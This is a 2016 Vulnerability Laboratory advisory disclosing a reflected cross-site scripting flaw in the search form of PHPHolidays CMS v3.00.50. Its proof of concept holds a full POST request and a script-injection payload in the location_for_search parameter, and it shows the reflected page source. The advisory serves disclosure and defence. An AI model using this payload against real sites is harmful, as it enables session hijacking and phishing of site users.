Document Title: =============== PHPHolidays CMS v3.00.50 - Cross Site Scripting Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1948 Release Date: ============= 2016-09-08 Vulnerability Laboratory ID (VL-ID): ==================================== 1948 Common Vulnerability Scoring System: ==================================== 3.1 Product & Service Introduction: =============================== The PhpHolidays is a travel web portal script designed for Travel Agencies & Tour Operators for booking packages online. The Car Hire and Vacation Rental modules are also integrated with this software. This script is a CMS Driven integrated web application platform, which is considered as one-stop solution developed especially for Travel agent & Tour business owners. (Copy of the Homepage: http://www.phpholidays.com ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a client-side cross site scripting vulnerability in the PHPHolidays 3.00.50 content management system. Vulnerability Disclosure Timeline: ================================== 2016-09-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Eicra Product: PHPHolidays - Content Management System (Web-Application) 3.00.50 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site scripting web vulnerability has been discovered in the official PHPHolidays v3.00.50 content management system. The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service. A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow an attacker to execute javascript in the web-browser of the user or administrator to compromise session credentials. The attacker can connect to a third account to trigger the issue without knowing the password. The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.1. Exploitation of the client-side cross site vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected web module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Add (Input) Vulnerable Parameter(s): [+] location_for_search Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. --- PoC Session Logs [POST] --- Status: 200 [OK] Host: phpholidays.localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://phpholidays.localhost:8000/ Cookie: __utma=257594058.2078559717.1473247729.1473247729.1473247729.1; __utmb=257594058.3.10.1473247729; __utmc=257594058; __utmz=257594058.1473247729.1.1.utmcsr=eicracms.com|utmccn=(referral)|utmcmd=referral|utmcct=/cms_demo.php; __utmt=1; PHPSESSID=47c19141ab0bf4cec7e81704c46fb6aa Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 187 location_for_search='"/>></script><script>alert("vulnerabilitylab")</script>&check_in=&check_out=&search_room=1&search_adult=1&search_child=0&block_search=search --- PoC: Source --- <div class="form-group"> <label for="location_for_search">Location :</label> <input name="location_for_search" type="text" id="location_for_search" operator="contains"value="'"/>></script><script>alert("vulnerabilitylab")</script>"placeholder="Any" class="form-control"/> </div> Reference(s): http://phpholidays.localhost:8000/ Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.1) Credits & Authors: ================== ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com